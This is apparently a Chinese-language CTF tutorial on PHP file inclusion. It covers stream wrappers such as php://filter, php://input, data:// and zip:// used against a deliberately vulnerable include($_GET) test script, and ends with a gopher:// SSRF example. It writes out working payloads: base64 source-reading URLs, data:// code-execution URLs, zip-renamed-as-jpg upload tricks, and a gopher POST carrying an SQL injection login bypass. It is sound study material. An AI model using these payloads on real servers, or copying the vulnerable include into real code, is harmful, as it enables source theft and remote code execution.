0x00 测试代码
<?phpif(isset($_GET['page'])){include $_GET['page'];}?>
0x01 PHP的一些伪协议
| 协议 | 功能 |
|---|---|
| file:// | 访问本地文件系统 |
| http:// | 访问 HTTP(S) 网址 |
| ftp:// | 访问 FTP(S) URL |
| php:// | 访问各个输入/输出流(I/O streams) |
| zlib:// | 压缩流 |
| data:// | 数据(RFC 2397) |
| glob:// | 查找匹配的文件路径模式 |
| phar:// | PHP 归档 |
| ssh2:// | Secure Shell 2 |
| rar:// | RAR |
| ogg:// | 音频流 |
| expect:// | 处理交互式的流 |
0x02 file://协议
PHP.ini:file:// 协议在双off的情况下也可以正常使用;allow_url_fopen :off/onallow_url_include:off/on
file:// 用于访问本地文件
file:// [文件的绝对路径和文件名]
打开: http://atest.test/1.php?x=file://E:/WWW/1.jpg

0x03 php://协议
php://filter在双off的情况下也可以正常使用;条件:不需要开启allow_url_fopen仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启 allow_url_include。
php:// 访问各个输入/输出流(I/O streams)
在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码
php://input用于执行php代码
0x03.1 php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
可以运用多种过滤器(字符串/转换/压缩/加密)
例如平时我们用来任意文件读取的payload

http://atest.test/1.php?x=php://filter/read=convert.base64-encode/resource=upload.php这里读的过滤器为convert.base64-encode,就和字面上的意思一样,把输入流base64-encode。resource=upload.php,代表读取upload.php的内容
这样就可以以base64编码的方式读取文件源代码
过滤器
过滤器有很多种,有字符串过滤器、转换过滤器、压缩过滤器、加密过滤器
<字符串过滤器>
string.rot13进行rot13转换string.toupper将字符全部大写string.tolower将字符全部小写string.strip_tags去除空字符、HTML 和 PHP 标记后的结果。功能类似于strip_tags()函数,若不想某些字符不被消除,后面跟上字符,可利用字符串或是数组两种方式。
举例
<?php$fp = fopen('php://output', 'w');stream_filter_append($fp, 'string.rot13');echo "rot13:";fwrite($fp, "This is a test.\n");fclose($fp);echo "<br>";$fp = fopen('php://output', 'w');stream_filter_append($fp, 'string.toupper');echo "Upper:";fwrite($fp, "This is a test.\n");fclose($fp);echo "<br>";$fp = fopen('php://output', 'w');stream_filter_append($fp, 'string.tolower');echo "Lower:";fwrite($fp, "This is a test.\n");fclose($fp);echo "<br>";$fp = fopen('php://output', 'w');echo "Del1:";stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE);fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");fclose($fp);echo "<br>";$fp = fopen('php://output', 'w');echo "Del2:";stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b>");fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");fclose($fp);echo "<br>";$fp = fopen('php://output', 'w');stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','h1'));echo "Del3:";fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");fclose($fp);?>

<转换过滤器>

举例:
<?php$fp = fopen('php://output', 'w');stream_filter_append($fp, 'convert.base64-encode');echo "base64-encode:";fwrite($fp, "This is a test.\n");fclose($fp);echo "<br>";$param = array('line-length' => 8, 'line-break-chars' => "\n");$fp = fopen('php://output', 'w');stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);echo "\nbase64-encode-split:\n";fwrite($fp, "This is a test.\n");fclose($fp);echo "<br>";$fp = fopen('php://output', 'w');stream_filter_append($fp, 'convert.base64-decode');echo "\nbase64-decode:";fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==\n");fclose($fp);echo "<br>";$fp = fopen('php://output', 'w');stream_filter_append($fp, 'convert.quoted-printable-encode');echo "quoted-printable-encode:";fwrite($fp, "This is a test.\n");fclose($fp);echo "<br>";$fp = fopen('php://output', 'w');stream_filter_append($fp, 'convert.quoted-printable-decode');echo "\nquoted-printable-decode:";fwrite($fp, "This is a test.=0A");fclose($fp);echo "<br>";?>

<压缩过滤器>

zlib.* 压缩过滤器自 PHP 版本 5.1.0起可用,在激活 zlib的前提下。也可以通过安装来自 » PECL的 » zlib_filter包作为一个后门在 5.0.x版中使用。
此过滤器在 PHP 4 中 不可用。
<?php$params = array('level' => 6, 'window' => 15, 'memory' => 9);$original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n";echo "The original text is " . strlen($original_text) . " characters long.\n";$fp = fopen('test.deflated', 'w');stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_WRITE, $params);fwrite($fp, $original_text);fclose($fp);echo "The compressed file is " . filesize('test.deflated') . " bytes long.\n";echo "The original text was:\n";/* Use readfile and zlib.inflate to decompress on the fly */readfile('php://filter/zlib.inflate/resource=test.deflated');/* Generates output:The original text is 70 characters long.The compressed file is 56 bytes long.The original text was:This is a test.This is only a test.This is not an important string.*/?>
<加密过滤器>

0x04 php://filter 读PHP文件源码
如果说我们直接包含php文件的话会被解析,导致不能看到源码,所以可以用封装协议读取文件
例如我们攻击的时候: http://atest.test/1.php?x=php://filter/read=convert.base64-encode/resource=1.php
表示读取1.php 这个文件的源码

0x05 php://input 执行代码
php://input 是个可以访问请求的原始数据的只读流,可以读取到post没有解析的原始数据, 将post请求中的数据作为PHP代码执行。
因为它不依赖于特定的 php.ini 指令。
注:enctype=”multipart/form-data” 的时候 php://input 是无效的。
allow_url_fopen :off/on # 开启关闭都可以allow_url_include:on # 必须开启

0x06 php://output
是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
<?php$code=$_GET["a"];file_put_contents($code,"test");?>

0x07 data://
data:资源类型;编码,内容
数据流封装器
当allow_url_include 打开的时候,任意文件包含就会成为任意命令执行
PHP.ini:data://协议必须双在on才能正常使用;allow_url_fopen :onallow_url_include:onphp 版本大于等于 php5.2
# 测试代码# 文件名称: xxx.php<?php$filename=$_GET["a"];include("$filename");?>
利用方法http://127.0.0.1/xxx.php?a=data://text/plain,<?php phpinfo()?>orhttp://127.0.0.1/xxx.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=或者http://127.0.0.1/xxx.php?a=data:text/plain,<?php phpinfo()?>orhttp://127.0.0.1/xxx.php?a=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

0x08 zip://, bzip2://, zlib://协议
PHP.ini:zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;allow_url_fopen :off/onallow_url_include:off/on
3个封装协议,都是直接打开压缩文件。compress.zlib://file.gz - 处理的是 '.gz' 后缀的压缩包compress.bzip2://file.bz2 - 处理的是 '.bz2' 后缀的压缩包zip://archive.zip#dir/file.txt - 处理的是 '.zip' 后缀的压缩包里的文件
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
zip://协议
php 版本大于等于 php5.3.0
使用方法:zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]**
要用绝对路径+url编码#
测试:
新建一个名为zip.txt的文件,内容为<?php phpinfo();?>,然后压缩为名为test.zip的zip文件。
如果可以上传zip文件则上传zip文件,若不能则重命名为test.jpg后上传。
其他几种压缩格式也可以这样操作。
更名为jpg
payload:http://127.0.0.1/xxx.php?a=zip://C:\Users\liuxianglai\Desktop\test.jpg%23zip.txt

bzip2://协议
使用方法:compress.bzip2://file.bz2
相对路径也可以
测试
用7-zip生成一个bz2压缩文件。
pyload:http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/liuxianglai/Desktop/test.bz2
或者文件改为jpg后缀http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/liuxianglai/Desktop/test.jpg

zlib://协议
使用方法:compress.zlib://file.gz
相对路径也可以
http://127.0.0.1/xxx.php?a=compress.zlib://file.gz

# 1.jpg 代码<?php phpinfo(); ?>

0x09 php伪协议结

0x10 gopher协议
不属于php伪协议,仅作记录在ssrf时常常会用到gopher协议构造post包来攻击内网应用。
不同的点在于gopher协议没有默认端口,所以需要指定web端口,而且需要指定post方法。
使用%0d%a。注意post参数之间的&分隔符也要进行url编码
具体的gopher协议的例子
gopher://172.16.181.166:80/_POST /admin/wllmctf_login.php HTTP/1.1%0d%0aHost: 172.16.191.166%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 29%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0auser=admin' or '1'='1%26password=admin
注意:如果ssrf的点是get参数,因为处于url中,则需要进行一次url编码
